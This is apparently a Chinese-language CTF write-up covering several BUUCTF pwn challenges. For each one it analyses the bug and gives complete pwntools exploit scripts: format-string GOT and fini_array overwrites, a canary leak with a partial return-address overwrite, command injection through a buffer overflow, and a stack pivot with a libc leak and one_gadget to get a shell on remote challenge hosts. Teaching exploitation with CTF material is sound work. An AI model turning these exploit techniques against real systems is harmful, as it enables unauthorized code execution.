还是buu刷题记录,不过这个记录的题目都是让我学到的内容更多的题,值对一篇单独的文章。
[]( ̄▽ ̄)*
(fini.arry)ciscn_2019_sw_1
保护&源码 保护:
源码:
int __cdecl main (int argc, const char **argv, const char **envp) { char format[68 ]; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); puts ("Welcome to my ctf! What's your name?" ); __isoc99_scanf("%64s" , format); printf ("Hello " ); printf (format); return 0 ; } int sys () { return system(command); }
思路 程序中有一个格式化字符串漏洞,但只能执行一次格式化漏洞函数,有system
函数。我们可以看到printf(format)
后面main
函数就执行完了,所以不管我们修改哪一个函数的got
表值为system@plt
的地址,都不行。后来看wp
,发现我们可以修改fini_array
的函数指针为main
函数地址,这样就能再执行一次main
函数了。
刚开始用下面这个方法,泄漏我们输入的第一个参数在栈中的偏移量,以为是4
,一直打不通,调试的时候查看栈中的值,发现栈中的第1,2
和5
个参数都是我们输入的第一个参数,所以我们并不能确定准确的偏移量
然后我发送下面这个payload
payload = b'aaaabbbb' +b'%p%p%p%p%p'
现在可以看出泄漏的第1
个参数地址是栈中的第2
个参数,也就是说我们计算偏移量的时候要从02
这个序号开始往下数
exp
from tools import *p = remote("node5.buuoj.cn" ,26399 ) elf = ELF('./sw1' ) main_addr = 0x08048534 fini_array_addr = 0x0804979C printf_got = 0x0804989c sys_plt = 0x080483d0 payload = p32(printf_got+2 )+p32(printf_got)+p32(fini_array_addr) payload += b'%' +bytes (str (0x804 -12 ),encoding='utf-8' )+b'c' +b'%4$hn' payload += b'%' +bytes (str (0x83d0 -0x804 ),encoding='utf-8' )+b'c' +b'%5$hn' payload += b'%' +bytes (str (0x8534 -0x83d0 ),encoding='utf-8' )+b'c' +b'%6$hn' p.recvuntil(b'name?' ) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
拿到flag
qctf_2018_dice_game
分析程序,猜随机数,猜对了就能拿到flag
。本题有两种方法,一种是利用溢出覆盖seed
的值,然后使其为定值,这样我们就能拿到50
个随机数,然后发送。第2
种方法是自己起一个生成随机数的程序,在生成随机数的同时发送随机数,同样也能得到flag
。
法1 先说第1
种,程序中第13
行有一个溢出点,read
读入0x50
个字节到buf
中,可以算出buf
距离seed
的偏移量为0x40
。也就是说我们可以覆盖seed
,使其为定值,注意这里覆盖要在seed = time(0LL)
之后。
payload = b'a' *(0x50 -0x10 )+p64(0 )
此时已经覆盖seed
为0
,然后写一个c
语言程序打印出种子seed
为0
时,生成的前50
个随机数,如下:
#include <stdio.h> #include <stdlib.h> int main () { srand(0 ); int i=1 ; for (i=0 ;i<50 ;i++) { int v2 = rand() % 6 + 1 ; printf ("%d" ,v2); } return 0 ; }
最后exp
如下:
from tools import *p = remote("node5.buuoj.cn" ,28649 ) payload = b'a' *(0x50 -0x10 )+p64(0 ) p.sendline(payload) v2="25426251423232651155634433322261116425254446323361" for i in v2: p.sendline(i) p.interactive()
法2 这一种方法是最常见的,也是最容易想到的,就是自己起一个生成随机数的程序,在生成随机数的同时发送随机数,同样也能得到flag
。
生成随机数的c
程序rand.c
:
#include <stdio.h> int main () { unsigned int seed[2 ]; *seed = time(0LL ); srand(seed[0 ]); int v2=0 ; for (int i =0 ;i<50 ;i++){ v2 = rand() % 6 + 1 ; printf ("======>>>%d\n" ,v2); } }
exp
:
from tools import *p = remote("node5.buuoj.cn" ,28649 ) p.sendafter("ome, let me know your name:" ,str (0 )) a = process("./rand" ) for i in range (50 ): a.recvuntil("==>>>" ) value = a.recvline(False ).decode() p.sendlineafter("me the point(1~6): " ,str (value)) value = 0 p.interactive()
拿到flag
(canary)linkctf_2018.7_babypie
保护&源码 保护:
源码:
__int64 sub_960 () { __int64 buf[6 ]; buf[5 ] = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(_bss_start, 0LL , 2 , 0LL ); memset (buf, 0 , 32 ); puts ("Input your Name:" ); read(0 , buf, 0x30 uLL); printf ("Hello %s:\n" , (const char *)buf); read(0 , buf, 0x60 uLL); return 0LL ; } int sub_A3E () { return system("/bin/sh" ); }
思路 程序中直接给了后门函数,可以栈溢出,首先整体思路就是覆盖main
函数返回地址为后门函数地址。但是开了canary
和PIE
保护,所以我们接下来要看看是否能绕过这两个保护。
首先是PIE
保护,我们可以看到后门函数地址与原先地址只有最后1
个字节不同,所以我们可以只覆盖返回地址的最后一、1
个字节,进而控制执行流执行后门函数。
下面图中,printf
可以打印出buf
的地址里的字符串,正常来讲是不会输出canary
的,因为canary
的最后1
个字节是\x00
标志着字符串的结束,但是如果可以覆盖\x00
,canary
便会被连带着打印出来。
read
可以读入64
个字节,覆盖canary
最后1
个字节\x00
只需要41
个字节即可
payload = b'a' *40 +b'b' p.sendafter("Input your Name:\n" ,payload)
覆盖后,如图:
此时,canary
便可被输出,接收canary
p.recvuntil(b'b' ) canary = u64(p.recv(7 ).rjust(8 ,b'\x00' ))
exp
from tools import *p,elf,libc = load("babypie" ,"node5.buuoj.cn:26795" ) payload = b'a' *40 +b'b' p.sendafter("Input your Name:\n" ,payload) p.recvuntil(b'b' ) canary = u64(p.recv(7 ).rjust(8 ,b'\x00' )) log_addr("canary" ) payload = b'a' *0x28 +p64(canary)+p64(0 )+b'\x3f' p.send(payload) p.interactive()
拿到flag
(交换变量值)pwnable_loveletter
保护&源码 保护:
源码:
思路 最开始以为程序中没有栈溢出,思路是用逻辑运算符分隔字符串执行/bin/sh
或者其他命令,但是看到会被protect
函数过滤。
然后也是在这个函数中,我们发现替换后的内容比替换前多了3
个字节,可以造成栈溢出。控制v6
这个值为1
,就会把prolog="echo I love "
中的第一个字节拼接到loveletter
中。然后我们直接写进nv sh -c sh
拼接即可,注意这里要在最后留一个空格,因为后面还会在被拼接数据。
payload = b'nv sh -c sh' payload += b'a' *(253 -11 )+b';' +b'\x01'
exp
from tools import *p = remote("node5.buuoj.cn" ,28357 ) payload = b'nv sh -c sh ' payload += b'a' *(253 -12 )+b';' +b'\x01' p.sendline(payload) p.interactive()
拿到flag
picoctf_2018_echo back(格式化字符串)
总结 程序中有system
函数,有格式化字符串漏洞,RELRO
保护为Partial RELRO
,可以劫持printf
的got
表为system@plt
。但是只有一次printf
,然后思路就卡在这里了。后来又想到printf
后面还有两个puts
,可以修改puts
的got
表为vuln
的地址,然后劫持程序执行流到vuln
函数使程序再执行一遍,便可调用syatem
函数。
保护&源码 保护:
源码:
exp
from tools import *p = remote("node5.buuoj.cn" ,27568 ) debug(p,0x8048604 ) context.arch='i386' elf = ELF('./b' ) printf_got = elf.got['printf' ] puts_got = elf.got['puts' ] sys_addr = elf.plt['system' ] printf_plt = elf.plt['printf' ] sys_value = sys_addr&0xffff log_addr("sys_value" ) vuln_value = 0x85ab payload = b'%' +bytes (str (0x804 ),encoding='utf-8' )+b'c%17$hn' payload += b'%' +bytes (str (0x8460 -0x804 ),encoding='utf-8' )+b'c%16$hn' payload += b'%' +bytes (str (0x85ab -0x8460 ),encoding='utf-8' )+b'c%18$hn' payload += p32(printf_got)+p32(printf_got+2 )+p32(puts_got) p.sendline(payload) log_addr("printf_got" ) log_addr("puts_got" ) log_addr("sys_addr" ) log_addr("printf_plt" ) p.interactive()
拿到flag
[GKCTF 2021]checkin
保护
源码分析
程序中有两次read
,第一次是将数据写到了.bss
段,第二次有栈溢出漏洞,可以溢出8
个字节,我们第一时间想到栈迁移。然后是一个if
语句,如果满足条件则执行exit(0)
直接退出程序,所以我们要想办法跳过if
语句使程序不执行exit(0)
。
思路 首先我们要想办法绕过if
语句,第一个很容易看出,我们写进s1
的数据前5
个字符必须为admin
。但是我们点进第二个函数中,其实我是看不懂这些函数的,然后看别的师傅的wp
发现是一个md5
加密,也是要我们写到buf
中的内容的前5
个字符为admin
。
然后我们开始往.bss
段中写rop
链,我们让第一个内存单元存储admin
,以绕过if
语句。然后这里又有一个问题,就是我们read
只能读入0x20(32)
个字节,而b'admin\x00\x00\x00'+p64(pop_rdi)+p64(puts_got)
已经用了24
个字节,也就是说我们写入elf.plt['puts']
后便不能再写返回地址了,显然这是不行的。所以这里我们直接劫持程序执行流到call puts
指令的地址,这样也达到了我们再次进行两次read
的目的。
call_puts_addr = 0x4018b5 puts_got = elf.got['puts' ] pop_rdi = 0x401ab3 bss_addr = 0x602400 payload = b'admin\x00\x00\x00' +p64(pop_rdi)+p64(puts_got)+p64(call_puts_addr)
然后栈迁移
payload = b'admin\x00\x00\x00' *4 +p64(bss_addr)
第二次布置one_gadget
到.bss
段,并进行栈迁移
payload = b'admin\x00\x00\x00' *3 +p64(one_gadget) p.send(payload) payload = b'admin\x00\x00\x00' *4 +p64(bss_addr+0x18 ) p.send(payload)
exp
from tools import *context.log_level='debug' context.arch='amd64' p,elf,libc = load("login" ,"node5.buuoj.cn:29508" ,"./libc.so.6" ) debug(p,0x4018b5 ) call_puts_addr = 0x4018b5 puts_got = elf.got['puts' ] pop_rdi = 0x401ab3 bss_addr = 0x602400 payload = b'admin\x00\x00\x00' +p64(pop_rdi)+p64(puts_got)+p64(call_puts_addr) p.recvuntil(b'>' ) p.send(payload) payload = b'admin\x00\x00\x00' *4 +p64(bss_addr) p.recvuntil(b'>' ) p.send(payload) p.recvuntil(b'BaileGeBai' ) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) log_addr("puts_addr" ) libc_base = puts_addr-libc.sym['puts' ] log_addr("libc_base" ) one_gadget = 0x4527a +libc_base payload = b'admin\x00\x00\x00' *3 +p64(one_gadget) p.send(payload) payload = b'admin\x00\x00\x00' *4 +p64(bss_addr+0x18 ) p.send(payload) p.interactive()
拿到flag
最后说一下,一开始打本地一直不通并在第二次读入前程序就崩了,而打远程却通了。其实是libc
的原因,远程的libc
与本地的libc
不同,一些栈帧大小也不同,所以我们把本地的libc
换成远程的即可。
bbctf_2020_fmt_me
总结
在gdb
中又学到一个查看地址中内容的命令,x/s
以字符串的形式表示。
如果我们要修改8
个字节,但是只写入3
个或更少的字节,可以直接用fmtstr_payload
函数,fmtstr_payload
中的参数
命令分隔符;
保护
源码
exp
from tools import *p = process('./fmt' ) debug(p,0x4012d5 ) elf = ELF('./fmt' ) context.arch = 'amd64' atoi_got = elf.got['atoi' ] system_plt = elf.plt['system' ] log_addr("atoi_got" ) log_addr("system_plt" ) p.sendline(str (2 )) payload = fmtstr_payload(6 , {elf.got['system' ]:elf.sym['main' ]},write_size='long' ) p.sendline(payload) pause() p.sendline(str (2 )) payload = b'/bin/sh;' payload+= fmtstr_payload(7 ,{elf.got['snprintf' ]:0x401056 },8 ,write_size='long' ) p.sendline(payload) p.interactive()